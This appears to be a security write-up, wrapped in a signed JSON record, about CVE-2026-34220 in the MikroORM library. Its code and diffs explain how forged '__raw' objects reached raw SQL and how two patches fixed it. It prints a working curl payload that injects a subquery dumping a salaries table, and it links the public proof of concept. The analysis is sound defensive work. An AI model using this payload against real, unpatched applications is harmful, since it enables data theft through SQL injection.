-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The brand was on the prototype. The check was the `in` operator.\n\nThe pre-patch implementation lives in `packages/core/src/utils/RawQueryFragment.ts`:\n\n```typescript\nObject.defineProperties(RawQueryFragment.prototype, {\n __raw: { value: true, enumerable: false },\n});\n\nexport function isRaw(value: unknown): value is RawQueryFragment {\n return typeof value === 'object' && value !== null && '__raw' in value;\n}\n```\n\nTwo statements. The first installs a non-enumerable property called `__raw` on `RawQueryFragment.prototype`. Every `new RawQueryFragment(sql, params)` instance inherits that property by way of its prototype. The second function is the runtime test the rest of the codebase uses to decide \"raw SQL fragment\" versus \"value to be quoted.\"\n\n`isRaw` is called from nineteen sites in the published source tree:\n\n```\nEntityManager.ts unique-key validation in upsert\nEntityFactory.ts default-value handling\nentity/validators.ts null vs raw fragment\nutils/Utils.ts (equals) change detection\nutils/QueryHelper.ts (x3) where-clause flatten, custom-type bypass, condition root\nutils/RawQueryFragment.ts (x3) isKnownFragment, getKnownFragment, raw()\nutils/upsert-utils.ts upsert assembly\nunit-of-work/ChangeSetPersister INSERT and UPDATE SQL assembly (x2)\nunit-of-work/ChangeSetComputer change diffing\nserialization/EntityTransformer dehydration\nserialization/EntitySerializer serialization\ndrivers/DatabaseDriver (x2) converter dispatch on insert and update\n```\n\nEvery one of those sites trusts `isRaw(x) === true` to mean \"the codebase produced this. Its `.sql` string is safe to inline into the query.\"\n\n## The `in` operator cannot see who wrote the property\n\nRead `isRaw` once more. The check is `'__raw' in value`.\n\nThe `in` operator walks the prototype chain. The question it answers is \"does this value, or any prototype above it, have a property called `__raw`.\" For a real `RawQueryFragment` instance, `__raw` is on the prototype. The answer is yes. For a plain JSON object whose own properties include `__raw`, the operator finds the property on the value itself, before it ever needs to consult the prototype. The answer is yes.\n\nThe check has no way to distinguish \"the codebase installed this via `Object.defineProperties` on a prototype\" from \"a stranger typed it into a request body.\" Both cases produce the same `true`, because the operator was chosen to find the property, not to ask who put it there. The trust boundary the codebase needed was the difference between those two cases. The operator could not see it.\n\n## How a request body reaches `isRaw`\n\nThe bug becomes a SQL injection only when application code lets attacker-controlled JSON reach a place where the ORM calls `isRaw` on it. MikroORM's Custom Type system is one such path, and it is the path the public PoC takes.\n\nA column declared as a Custom Type runs `convertToDatabaseValue(value)` between the entity layer and the SQL writer. If the custom type returns the value as-is, the value flows through `ChangeSetPersister` to the INSERT/UPDATE assembler, and that assembler asks `isRaw` whether to quote the value or inline `.sql` directly. The PoC's `JsonOrRawType` encodes that exact path:\n\n```javascript\nclass JsonOrRawType extends Type {\n convertToDatabaseValue(value) {\n if (value && typeof value === 'object' && '__raw' in value) {\n return value;\n }\n return typeof value === 'string' ? value : String(value ?? '');\n }\n convertToJSValue(value) {\n if (typeof value === 'string') {\n try { return JSON.parse(value); } catch { return value; }\n }\n return value;\n }\n getColumnType() { return 'text'; }\n}\n```\n\nThe custom type is permissive on the way in: if the value happens to look like a raw fragment, return it untouched, and let the ORM downstream make its own decision. The custom type is the application's contribution to the chain, but it is not the bug. Even a plain pass-through type would carry the payload to `ChangeSetPersister`, where the same `isRaw` decision happens.\n\nThe exploit is one POST:\n\n```bash\ncurl -X POST http://localhost:3000/api/posts \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"author\":\"x\",\n \"title\":\"x\",\n \"content\":{\n \"__raw\": true,\n \"sql\": \"(SELECT group_concat(name || \\\": \\\" || salary, \\\" / \\\") FROM salaries)\"\n }\n }'\n```\n\nThe Express handler hands `content` to `em.create(Post, { author, title, content, created_at })`. Flush runs `ChangeSetPersister`. `ChangeSetPersister` calls `isRaw(content)`. `isRaw` evaluates `'__raw' in content`. The JSON object's own property `__raw` is found on the first lookup. `isRaw` returns `true`. The INSERT assembler reads `content.sql` as a raw SQL fragment and emits a query of roughly the shape:\n\n```sql\nINSERT INTO posts (author, title, content, created_at)\nVALUES ('x', 'x',\n (SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries),\n '2026-04-27 05:14:33');\n```\n\nThe salaries table is not the posts table. SQLite does not care. The subquery runs, returns a string, the row stores it as the post's content. The next `GET /` renders the salary table inside a post body.\n\nThere is no SQL parser involved on the attacker side. There is no quoting bypass. There is no escaping flaw. The attacker writes `__raw` and `sql` into a request body, and the ORM signs the resulting string as raw SQL on its own.\n\n## The patch changed three things in one function\n\nThe 6.6.10 / 7.0.6 fix is one commit, `f7e59a5`, titled `fix(core): tighten query construction validation`. The diff against `RawQueryFragment.ts`:\n\n```diff\n+const rawSymbol = Symbol('RawQueryFragment');\n\n export class RawQueryFragment {\n constructor(\n readonly sql: string,\n readonly params: unknown[] = [],\n- ) {}\n+ ) {\n+ Object.defineProperty(this, rawSymbol, { value: true, enumerable: false });\n+ }\n }\n\n-Object.defineProperties(RawQueryFragment.prototype, {\n- __raw: { value: true, enumerable: false },\n-});\n\n export function isRaw(value: unknown): value is RawQueryFragment {\n- return typeof value === 'object' && value !== null && '__raw' in value;\n+ return typeof value === 'object' && value !== null && Object.hasOwn(value, rawSymbol);\n }\n```\n\nThree changes, all in one function:\n\n1. The marker is no longer the string `'__raw'`. It is a `Symbol('RawQueryFragment')` held in a module-local `const`. Symbols do not survive `JSON.stringify` and have no JSON literal form. An attacker cannot put a symbol in a request body.\n2. The marker is no longer installed on the prototype. The constructor installs it on the instance directly via `Object.defineProperty(this, ...)`. There is no prototype-chain artifact for a forged object to inherit.\n3. The check is no longer `in`. It is `Object.hasOwn(value, rawSymbol)`. Own properties only. The prototype chain is no longer in scope.\n\nThe first change alone closes the bug for a JSON payload, because JSON cannot deliver a symbol. The second and third changes are belt-and-suspenders against forms of forgery that JSON cannot reach but in-process code can. The patch made all three changes at once because each one was independently doing work.\n\n## Two weeks later, the patch had to be patched\n\nCommit `f596bdd`, dated April 9 2026, ships in 6.6.13 / 7.0.7. The message names a flaw in the previous fix:\n\n> `Symbol.for(...)` for the brand was the wrong tool: raw fragments are *the* primitive that turns a string into raw SQL, and publishing a global key would let any in-process code trivially manufacture forged fragments.\n\n`Symbol.for('RawQueryFragment')` would have been globally registered. Any code in the same process could call `Symbol.for('RawQueryFragment')`, get the same symbol, and forge a fragment by writing that key on a plain object. The original commit knew that, which is why it used `Symbol(...)` and not `Symbol.for(...)`. Module-local `Symbol(...)` had its own problem in the other direction: when `tsx` registers both an ESM and a CJS hook for a CLI process, `@mikro-orm/core` ends up loaded twice. Two distinct classes, two prototypes, two brand symbols. A fragment minted by `raw('now()')` in one copy was invisible to `isRaw` in the other. Legitimate raw fragments started flowing through SQL assembly as plain objects.\n\nThe follow-up walks the brand back to the prototype, with a string key, and rewrites the check:\n\n```typescript\nconst RAW_FRAGMENT_BRAND = '__mikroOrmRawFragment';\n\nObject.defineProperty(RawQueryFragment.prototype, RAW_FRAGMENT_BRAND, {\n value: true, enumerable: false,\n});\n\nexport function isRaw(value: unknown): value is RawQueryFragment {\n if (value == null || typeof value !== 'object') return false;\n if (value instanceof RawQueryFragment) return true;\n for (\n let p = Object.getPrototypeOf(value);\n p != null && p !== Object.prototype;\n p = Object.getPrototypeOf(p)\n ) {\n if (Object.hasOwn(p, RAW_FRAGMENT_BRAND)) return true;\n }\n return false;\n}\n```\n\nThe brand is on the prototype, like the original pre-patch code. The brand is a string, like the original pre-patch code. The check iterates from `Object.getPrototypeOf(value)` upward, stopping at `Object.prototype`, calling `Object.hasOwn` at each step. JSON payloads have `Object.prototype` as their prototype. `Object.prototype` does not own the brand. The walk exits on the first iteration with `false`.\n\nThe pre-patch code had two of three pieces right. The brand being a string was fine. The brand living on a prototype was fine. The piece that was wrong was the question `isRaw` asked of the value. `'__raw' in value` and `Object.hasOwn(Object.getPrototypeOf(value), '__mikroOrmRawFragment')` ask different questions of the same object. The first counts the value's own properties as part of the chain. The second walks past them. The trust boundary lives in that distinction.\n\n## Internal-only by convention, one floor below the wire\n\nThree weeks ago, [CVE-2025-29927](/posts/next-middleware-cve-2025-29927-recursion-guard-was-the-bypass) named this shape on the inbound HTTP edge. Next.js middleware had a header called `x-middleware-subrequest` that the framework wrote on its own internal `fetch()` calls and read on every inbound network request. The header's \"internal-only\" status was held by the convention that nobody outside the framework would type the header on the wire. Once anyone did, the framework's own auth-bypass logic ran with full authority.\n\nMikroORM's `__raw` is the same pattern one floor below the wire. The internal-trust marker is a property name, not a network header. The IPC channel is a JavaScript object, not an HTTP request. The naming convention is `__` prefix instead of `x-` prefix. Everything else is the same. The framework had a string. The string meant \"this came from inside, trust it.\" The runtime check could not see who wrote the string. The string could be written by anything that wrote that object, and JSON writes objects.\n\nThis is the [Internal Only By Convention](/patterns/internal-only-by-convention) shape generalized below the network layer. The catalog described it as a header, query parameter, or environment input the framework defines as internal-IPC-only, read with security-relevant authority on every inbound request. Object properties belong on that list too. The convention is whatever the code believes about who wrote the field, and the convention holds only as long as the runtime can verify it. `'__raw' in value` cannot verify it. `Object.hasOwn(Object.getPrototypeOf(value), '__mikroOrmRawFragment')` can.\n\nIt is also a particular shape of [Trust Inversion](/patterns/trust-inversion). The trusted artifact is the ORM's own internal raw-SQL marker. The attacker captures it not by compromising the maintainer or the package, but by writing a property name into a request body. One compromise covers every Custom Type column on every install of every affected version. The cost of capture is nine bytes of JSON.\n\nPoC: [EQSTLab/CVE-2026-34220](https://github.com/EQSTLab/CVE-2026-34220).","closing_line":"The first patch switched the brand from a string to a Symbol. The second patch switched it back to a string. The bug was never the brand.","hook_md":"MikroORM has a primitive called `RawQueryFragment`. The ORM mints one at internal call sites that have already assembled a SQL string and want the rest of the codebase to inline that string into a query unquoted. Nineteen functions across the ORM trust a single check, `isRaw(value)`, to decide whether a given value is one of those fragments or an ordinary value to be quoted. Pre-patch, `isRaw` asked the value one question.\n\nDid it have a property called `__raw`.\n\nThat is the entire question. The marker was a string. The check was the JavaScript `in` operator. JSON objects can have a property called `__raw`.","post_id":58,"slug":"mikroorm-cve-2026-34220-raw-was-a-property-name","title":"CVE-2026-34220: MikroORM's Raw-SQL Brand Was a Property Name","type":"initial","unreadable_sentence":"The first patch switched the brand from a string to a Symbol. The second patch switched it back to a string. The bug was never the brand."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCah28QAAKCRDeZjl4jgkQ Jo68AP9zg4jdmL+J/JbuonhBA1HtY7SZf65ENKLwli52g1ZXaQD/bThnVtTif7Hf 256USYVYT4b6S8RT7EjYrRQ8Mi6VDgU= =C59t -----END PGP SIGNATURE-----